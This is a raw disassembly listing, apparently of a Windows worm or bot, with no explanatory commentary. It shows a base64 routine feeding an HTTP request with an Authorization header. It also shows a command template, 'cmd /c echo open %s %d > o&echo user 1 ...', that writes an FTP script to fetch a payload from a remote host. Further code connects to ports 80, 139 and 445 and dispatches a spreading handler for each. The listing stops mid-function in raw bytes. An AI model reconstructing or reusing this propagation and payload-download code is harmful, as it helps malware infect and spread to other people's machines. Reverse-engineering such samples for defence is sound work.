		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B4
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D031
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62F


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D198
		add	[ebp-18h], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43245C[eax]
		push	eax
		push	1
		call	sub_40D4B1
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B6
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D50A
		mov	[ebp-18h], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp-1Ch]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B1
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D561
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: ___:0040D41Cp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D808
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+18h]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432608
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB390
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4324A0
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: ___:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: ___:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB654
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: ___:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: ___:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: ___:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: ___:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: ___:0040D3D7j
					; ___:0040D44Aj
		push	ebx
		call	dword_4CB6EC
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: ___:0040D394j
		push	3E8h
		nop
		call	near ptr 2680646h


loc_40D474:				; CODE XREF: ___:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: ___:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40D4A2:				; CODE XREF: ___:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: ___:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B4
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B1	proc near		; CODE XREF: sub_40D07D+110p
					; sub_40D07D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CB
		call	sub_42669A


loc_40D4CB:				; CODE XREF: sub_40D4B1+13j
		test	ebx, ebx
		jbe	short loc_40D502
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D502
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D502:				; CODE XREF: sub_40D4B1+1Cj
					; sub_40D4B1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D561	proc near		; CODE XREF: sub_40D07D+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D579
		call	sub_426573


loc_40D579:				; CODE XREF: sub_40D561+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58B
		mov	esi, [ebp+arg_8]


loc_40D58B:				; CODE XREF: sub_40D561+25j
		cmp	edi, ebx
		jnz	short loc_40D5AD
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D725
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5AD:				; CODE XREF: sub_40D561+2Cj
		test	esi, esi
		jbe	short loc_40D5F0
		cmp	esi, eax
		jnz	short loc_40D5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C1
		mov	eax, offset dword_4276A0


loc_40D5C1:				; CODE XREF: sub_40D561+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5F0
		push	1
		mov	ecx, edi
		call	sub_40D6B4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DC
		mov	eax, offset dword_4276A0


loc_40D5DC:				; CODE XREF: sub_40D561+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5F0:				; CODE XREF: sub_40D561+4Ej
					; sub_40D561+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D626
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D60A
		mov	eax, offset dword_4276A0


loc_40D60A:				; CODE XREF: sub_40D561+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D626:				; CODE XREF: sub_40D561+4Aj
					; sub_40D561+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D07D+3Dp
					; sub_40D4B1+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D641
		call	sub_42669A


loc_40D641:				; CODE XREF: sub_40D62F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D66A
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D66A
		cmp	al, 0FFh
		jz	short loc_40D66A
		cmp	edi, edx
		jnz	short loc_40D6A5
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65F:				; CODE XREF: sub_40D62F+47j
		mov	ecx, esi
		call	sub_40D6B4


loc_40D666:				; CODE XREF: sub_40D62F+4Bj
					; sub_40D62F+52j
		xor	al, al
		jmp	short loc_40D6AF
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D62F+19j
					; sub_40D62F+20j ...
		cmp	edi, edx
		jnz	short loc_40D683
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D678
		push	1
		jmp	short loc_40D65F
; ---------------------------------------------------------------------------


loc_40D678:				; CODE XREF: sub_40D62F+43j
		cmp	ecx, edx
		jz	short loc_40D666
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D666
; ---------------------------------------------------------------------------


loc_40D683:				; CODE XREF: sub_40D62F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D6A0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D695
		cmp	eax, edi
		jnb	short loc_40D6AD


loc_40D695:				; CODE XREF: sub_40D62F+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		jmp	short loc_40D6A5
; ---------------------------------------------------------------------------


loc_40D6A0:				; CODE XREF: sub_40D62F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AD


loc_40D6A5:				; CODE XREF: sub_40D62F+28j
					; sub_40D62F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78C


loc_40D6AD:				; CODE XREF: sub_40D62F+64j
					; sub_40D62F+74j
		mov	al, 1


loc_40D6AF:				; CODE XREF: sub_40D62F+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B4	proc near		; CODE XREF: sub_40D07D+1Fp
					; sub_40D07D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6E0
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D9
		cmp	al, 0FFh
		jz	short loc_40D6D9
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D9:				; CODE XREF: sub_40D6B4+19j
					; sub_40D6B4+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6E0:				; CODE XREF: sub_40D6B4+8j
					; sub_40D6B4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F0	proc near		; CODE XREF: ___:0040D410p
					; sub_40D849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71E:				; CODE XREF: sub_40D6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D725	proc near		; CODE XREF: sub_40D561+39p
					; sub_40D561+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D738
		call	sub_426573


loc_40D738:				; CODE XREF: sub_40D725+Cj
		mov	ecx, edi
		call	sub_40D849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74E
		mov	ebx, eax


loc_40D74E:				; CODE XREF: sub_40D725+25j
		test	ebx, ebx
		jbe	short loc_40D784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D784:				; CODE XREF: sub_40D725+2Bj
					; sub_40D725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78C	proc near		; CODE XREF: sub_40D62F+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B2
		mov	edi, [ebp+8]


loc_40D7B2:				; CODE XREF: sub_40D78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BF
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D78C+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7DA
		xor	eax, eax


loc_40D7DA:				; CODE XREF: sub_40D78C+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7EA
		retn
; ---------------------------------------------------------------------------


loc_40D7EA:				; DATA XREF: sub_40D78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7F0:				; CODE XREF: sub_40D78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80E
		cmp	eax, edi
		jbe	short loc_40D7FD
		mov	eax, edi


loc_40D7FD:				; CODE XREF: sub_40D78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80E:				; CODE XREF: sub_40D78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82E
		mov	edi, ebx


loc_40D82E:				; CODE XREF: sub_40D78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D849	proc near		; CODE XREF: sub_40D725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D876
		cmp	al, 0FFh
		jz	short loc_40D876
		push	1
		call	sub_40D6B4
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6F0


loc_40D876:				; CODE XREF: sub_40D849+9j
					; sub_40D849+10j ...
		pop	edi
		pop	esi
		retn
sub_40D849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D879	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC74, 1
		jnz	short loc_40D889
		or	byte_4DBC74, 1


loc_40D889:				; CODE XREF: sub_40D879+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328C0
		add	eax, 6
		mov	dword_4CE374, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; ___:0040DE0Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db 0B8h	; 
		db 0DCh	; 
		db  60h	; `
		db    0
		db    0
		db 0E8h	; 
		db  77h	; w
